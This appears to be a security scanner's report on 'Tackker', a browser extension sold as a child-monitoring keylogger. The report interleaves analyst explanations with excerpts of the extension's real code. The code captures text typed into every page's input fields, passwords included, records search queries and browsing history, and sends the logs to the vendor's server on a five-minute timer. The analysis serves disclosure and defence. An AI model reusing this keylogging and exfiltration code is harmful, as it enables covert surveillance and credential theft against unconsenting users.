Security Alert: Malware Risk Confirmed
Free Keylogger Tool - Child Monitor Tackker
ID: ekpkdmohpdnebfedjjfklhpefgpgaaji
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- tackker.comView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Tackker is a free keylogger tool that helps you in Child Monitoring and other ethical monitoring services.
tackker is online keylogger tool that helps you log the keystrokes and other user data. It can be used for child monitoring as well as employee monitoring. And Now You can also monitor your browsing history. Install Tackker and get peace of mind ;) tackker have made browser activity monitoring so easy. Monitor any browser activity by following these simple steps: 1) Install tackker on target system browser(s). 2) After installation, you will be directed to register/login (this part is important since without registering you can not see the logged data). 3) Once you are registered and the plugin is installed , simply monitor user activity from our online dashboard.
Defines the core keylogging capture function that reads values from any INPUT, TEXTAREA, or contentEditable element on every page (injected on <all_urls>). It explicitly excludes non-text input types so it deliberately captures text the user types, including passwords, search queries, messages, and form data.
var watchedElements = ["INPUT", "TEXTAREA"], url = window.location, dontLog = ["button", "image", "reset", "submit", "radio", "checkbox", "color", "range"];var alreadySent = false;function getInputValue(t) { var e = ~watchedElements.indexOf(t.nodeName) || "true" === t.contentEditable; if (-1 === e) { if (!~dontLog.indexOf(t.type)) return t.value } else { if (-2 === e) return t.value; if (!0 === e) return t.innerText.trim() .replace(/(\n|\r)+/g, " \n") } return null}Installs capturing-phase keypress and focusout listeners on document.body for every page the user visits. On Enter key or losing focus, the current value of the focused field is harvested via getInputValue and persisted — this is textbook keystroke logging against arbitrary websites including banking, webmail, and authentication pages.
function KeyPress(t) { if (t.key === 'Enter') { if (isFirefox) { n = t.originalTarget.value; } else { var e = t.target, n = getInputValue(e); } saveData(n); }}document.body.addEventListener("focusout", FocusOut, !0);document.body.addEventListener("keypress", KeyPress, !0);document.addEventListener('load', pageLoad, !0);Persists each captured keystroke value into chrome.storage.local along with the originating site origin and timestamp. Associating the captured text with the site it was typed on makes the collected data directly usable for credential harvesting (site + entered value pairs).
function saveData(n) { var today = new Date(); var date = today.getFullYear() + '-' + (today.getMonth() + 1) + '-' + today.getDate(); var time = today.getHours() + ":" + today.getMinutes(); var dateTime = date + ' ' + time; var i, flag = false; chrome.storage.local.get({ logHistory: [] }, function(result) { var logHistory = result.logHistory, limit; ... if (flag != true) { logHistory.push({ value: n, date: date, time: time, site: window.location.origin });Exfiltrates the full captured keystroke log (logHistory) and browsing history (urlHistory) to https://www.tackker.com/send-data, keyed by a server-issued appId that uniquely identifies the victim device. The commented dev URL (dev.test123.com) shows the exfiltration endpoint is configurable and the code was developed with alternate C2 hosts in mind.
const payload = { app: appId, data: logs, history: history};const response = await fetch("https://www.tackker.com/send-data", { // const response = await fetch("http://dev.test123.com/send-data", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload)});if (!response.ok) throw new Error(`Server returned status ${response.status}`);await setStorage({ logHistory: [], urlHistory: [],});Schedules a chrome.alarms trigger every 5 minutes to automatically exfiltrate the captured keystrokes and browsing history to the remote server. The stale comment referencing '10 seconds' suggests an even more aggressive exfiltration cadence was used during development.
// Create periodic alarm every 10 secondschrome.alarms.create("periodicSend", { periodInMinutes: 5}); // 10 sec ≈ 0.1667 min and 5 minutes = 5// Trigger sendData when alarm fireschrome.alarms.onAlarm.addListener(alarm => { if (alarm.name === "periodicSend") sendData();});Pairs the victim's browser installation (appId) to an operator account on tackker.com so a remote party can view the collected keystrokes and browsing history via a hosted dashboard. This is the access mechanism that makes the extension a functional third-party surveillance/stalkerware tool, per the product's self-description.
function loginFunctionality() { chrome.storage.local.get(['loggedIn'], function(result) { loggedIn = result.loggedIn; if (loggedIn != true) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", 'https://www.tackker.com/is-logged-in?app-id=' + appIdGlobal, false); xmlHttp.onload = function() { if (xmlHttp.responseText == "true") { chrome.storage.local.set({ loggedIn: true }, function() {}); window.open("https://www.tackker.com/dashboard", "_self"); } else { window.open("https://www.tackker.com/set-user?app-id=" + appIdGlobal, "_self"); } } xmlHttp.send(null); } else { window.open("https://www.tackker.com/dashboard", "_self"); } });}On every page load, harvests the `q` query string parameter (the de facto search query parameter used by Google, Bing, DuckDuckGo, YouTube, etc.) and stores it for exfiltration. This collects the user's search history across all sites without consent.
function pageLoad(t) { let searchParams = new URLSearchParams(window.location.search) if (searchParams.has('q')) { saveData(searchParams.get('q')); }}Builds a detailed browsing-history record for every navigation: full URL, referrer, navigation method, timestamp, user agent, OS, device model, browser, and locale. Commented-out fields (panelist_id, IP, request_country_code) reveal the schema is designed for centralized panelist-style surveillance tracking.
function saveHistory(navigationMethod, lastUrl) { chrome.storage.local.get({ urlHistory: [] }, function(result) { var history = []; history = result.urlHistory; var contentType = null; var browserInfo = getBrowserInfo(); const today = new Date(); getContentType(document.location.href) .then(cT => { contentType = cT; var newEntry = { 'url': document.location.href, 'content_type': contentType, 'timestamp': today.getTime(), 'referrer': lastUrl, 'navigation_method': navigationMethod, 'user_agent': navigator.userAgent, 'scheme': window.location.protocol, 'host': window.location.host, 'accept_language': navigator.language, 'device_manufacturer': 'unknown', 'device_model': getBasicDeviceModel(), 'os_name': getOS(), 'os_version': 'unknown', 'browser_name': browserInfo.browserName, 'browser_version': browserInfo.browserVersion,Uses a MutationObserver on document.body to detect SPA-style client-side URL rewrites and log them as navigation events. This defeats the normal browser model where content scripts only fire on hard navigations, enabling complete tracking of in-page route changes on sites like Gmail, Twitter, and YouTube.
const observer = new MutationObserver((mutationsList) => { for (const mutation of mutationsList) { const referrerHost = new URL(lastUrl); const currentHost = new URL(window.location.href); if (mutation.type === 'childList' && (alreadyChecked == false || lastUrl != document.location.href)) { if ( performance.navigation.type == 1 || document.referrer === '' && window.location.href != lastUrl && referrerHost.host != currentHost .host || referrerHost.host != currentHost.host) { ... saveHistory(navigationMethod, document.referrer);Registers each installation with the attacker-controlled server by fetching and persisting a unique appId used as the victim identifier on all subsequent exfiltration payloads. Multiple commented-out alternate C2 endpoints (dev.test123.com, stagging.tackker.com) indicate the identifier/tracking infrastructure is intentionally swappable.
chrome.storage.local.get(['appId'], function(result) { appId = result.appId; appIdGlobal = appId; if (appId == '' || appId == undefined || appId == null || appId.includes('DOCTYPE')) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open("GET", 'https://www.tackker.com/set-app-id', false); // false for synchronous request // xmlHttp.open( "GET", 'http://dev.test123.com/set-app-id', false ); // false for synchronous request // xmlHttp.open( "GET", 'https://stagging.tackker.com/set-app-id', false ); // false for synchronous request xmlHttp.onload = function() { appIdGlobal = xmlHttp.responseText; chrome.storage.local.set({ appId: xmlHttp.responseText }, function() {}); loginFunctionality(); } xmlHttp.send(null); } else { loginFunctionality(); }});By severity
Versions scanned
Showing 3 of 18 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.1 | 4 |
| 3.0 | 10 |
| 1.7 | 4 |
Files with findings
4 distinct paths — top paths by unique finding count:
- content.js12
- back.js3
- popup.js2
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.
